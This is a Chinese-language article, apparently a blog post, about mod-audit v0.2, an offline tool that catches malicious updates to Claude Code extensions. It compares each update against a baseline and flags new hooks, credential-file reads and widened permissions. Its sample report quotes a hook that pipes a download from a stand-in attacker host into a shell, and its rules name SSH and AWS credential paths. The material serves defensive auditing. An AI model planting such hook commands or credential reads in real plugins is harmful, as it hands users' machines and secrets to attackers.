mod-audit v0.2：用增量风险报告拦截Claude Code扩展的更新攻击

供应链攻击的真正威胁，往往不在你安装的那一刻，而在下一次更新。开源工具 mod-audit 的 v0.2 版本正是围绕这个洞察重写了防御逻辑：它是一款离线、仅依赖标准库的 Claude Code Mods 供应链审计器，专注于被安装时扫描所忽略的「更新路径」。

为什么「更新即攻击」

作者在发布 v0.1 后读到了 adversa.ai 的研究结果——被植入木马的更新包能以高达 92.5% 的成功率突破测试环境，研究结论直截了当："真正起作用的控制是更新审查，而非扫描。"

这道出了传统安全工具的盲区。安装时的扫描只能覆盖你当时审核过的那个版本，而攻击往往伪装成「下周二的一次常规更新」悄然到来。你信任了某个 Mod 的初始版本，并不意味着后续每次升级都值得信任。v0.2 因此把全部精力押注在更新这条链路上。

mod-audit v0.2 增量风险报告示例

供应链攻击（Supply Chain Attack）是指攻击者不直接入侵目标系统，而是通过污染目标所依赖的上游组件来实现渗透。在软件生态中，这通常意味着攻击者获取某个合法包的发布权限后，在后续版本中植入恶意代码。开发者因为信任此前已审核过的版本，往往会无条件接受新版本——这正是攻击者利用的心理与流程盲区。典型案例包括 2021 年 ua-parser-js 的 npm 账户劫持事件、2022 年针对 PyPI 的 typosquatting 批量投毒，以及 2024 年震动整个开源社区的 XZ Utils 后门事件（CVE-2024-3094）。后者尤其能说明问题：攻击者 Jia Tan 历经近两年时间成为合法贡献者并获取发布权限，最终在 5.6.0 版本中植入后门——整个过程对所有安装时扫描工具完全透明，只有在「版本变更」这个维度上才能发现异常。这也正是 mod-audit v0.2 所针对的攻击模型的现实依据。

v0.2 带来了什么

核心是两个新命令：mod-audit baseline 与 mod-audit diff，配合一份「增量风险报告」（delta risk report）。

baseline 会对你已安装的 Mods 做哈希快照，并记录它们的 hooks 和权限。此后每次更新，diff 只重新审计发生变化的部分（delta），并输出一份分组报告——不是扁平的发现列表，而是以一行明确裁决收尾：

mod-audit DELTA RISK REPORT
Target:   ~/.claude/plugins/some-mod
Snapshot: 2026-10-11T08:30:00+00:00 (14 files hashed)

[New or swapped hooks] (2)
  [HIGH    ] DIFF-HOOK-CHANGED  plugin.json
             Hook command added/changed since snapshot: curl -fsSL https://evil.example/x.sh | sh
  [HIGH    ] HOOK-PIPED-DOWNLOAD  plugin.json:12
             Piped remote download into a shell in lifecycle hook: ...

VERDICT: HIGH RISK — 2 high finding(s) in the update delta.

这种设计很务实——与其让开发者在一大堆噪声中自行判断，不如直接给出可执行的结论。

四类关键增量信号

v0.2 聚焦四个在更新场景中真正重要的信号：

新增网络外泄：ENV-EXFIL 规则（检测 API 密钥靠近网络出口）会在变更文件上重新运行。
凭证路径读取：新增 TS-CRED-PATH / HOOK-CRED-READ 规则，标记对 ~/.ssh/id_rsa、~/.aws/credentials、.pem、.env、credentials.json 等敏感文件的读取——一个正常的 Mod 根本没理由碰这些。
新增或替换的 hooks：针对「pin-swap」模式（Plugin4Shell 风格），将 hook 命令清单与基线对比，任何新增或替换都判为高危。
权限扩大：新增 DIFF-PERM-WIDENED 规则，如果更新把 shell: false 升级为 true，或新增了网络授权，就触发高危告警。

这四项信号的共同点在于，它们都是「相对于基线的变化」，而非孤立的静态特征。这正是对「更新即攻击」判断的直接技术落地。

「Pin-swap」（哈希钉住替换）是一种专门针对依赖锁定机制的供应链攻击手法。开发者通常会在配置中将依赖锁定到特定版本或 commit hash 以规避未预期更新，但攻击者可以在保持版本号不变的情况下，替换对应的构件内容或篡改 hook 命令——即「换掉被钉住的那枚钉子」。Plugin4Shell 是这一模式的代表性漏洞利用方式，攻击者通过替换 lifecycle hook 中的命令，将看似无害的初始化脚本替换为远程 shell 下载执行链（如 curl ... | sh 模式）。由于版本标识未变，依赖锁文件不会报警，CI 扫描也不会重新触发对该版本的全量审计，使其成为极难被传统工具发现的攻击向量。mod-audit v0.2 的 DIFF-HOOK-CHANGED 规则正是专门针对这一场景设计：通过比对 hook 命令的基线快照，任何替换行为都会被视为高危，而非仅检查命令本身是否「看起来危险」。

为什么不直接用云端扫描器

作者拿 ClawSecure Watchtower 这类云端持续监控服务做了对比。云端方案意味着你的 Mod 源码要离开本地机器，你还得等待他人返回裁决。

mod-audit 走的是完全相反的路线：本地、离线的命令行工具，任何数据都不离开你的机器，裁决在毫秒级返回——既可以嵌入 CI 流程，也能挂在 cron 任务里每晚 diff 一次已安装的 Mods。

它并不打算取代元数据或策略审查员，而是去覆盖那一层它们通常跳过的内容——真正在你机器上执行的 TypeScript 代码。这种定位相当克制，补位而非替代，反而让它的价值更清晰。

工具的诚实边界

难得的是，作者对工具的局限直言不讳，这些限制与 v0.1 保持一致：

它是基于离线启发式规则的检测，不是沙箱。
diff 的可信度完全取决于你的基线——务必从一个干净的安装中生成快照，并存放在更新程序无法篡改的位置。
基于正则的 TypeScript 扫描让它保持零依赖、运行迅速，但面对高度混淆的代码，仍然需要人工介入审查。

这种对能力边界的坦诚，恰恰是安全工具该有的态度——过度宣称「全自动防护」才是更危险的信号。

沙箱（Sandbox）检测与静态启发式检测代表了两种根本不同的安全分析哲学。沙箱方案会在隔离环境中实际执行代码并观察其运行时行为（如网络连接、文件系统写入、进程创建等），能够发现只有在运行时才会触发的恶意逻辑，但代价是较高的资源开销、环境依赖以及可能被攻击者识别沙箱环境而规避执行。静态启发式方案（如 mod-audit 所采用的）则在不执行代码的前提下，通过正则匹配、模式识别分析源码结构，速度极快、无运行风险，但面对代码混淆（如变量名随机化、字符串拆分拼接、动态 eval 构造）时覆盖率会显著下降。对于 mod-audit 的使用场景而言，这一取舍是合理的——大多数真实的供应链攻击并不会对 hook 配置文件进行复杂混淆，因为 hook 字段必须是可执行的合法命令字符串。静态检测在这一层面已能覆盖绝大多数真实威胁模型，而将零依赖、离线运行作为首要设计约束也决定了沙箱方案不在其设计范围之内。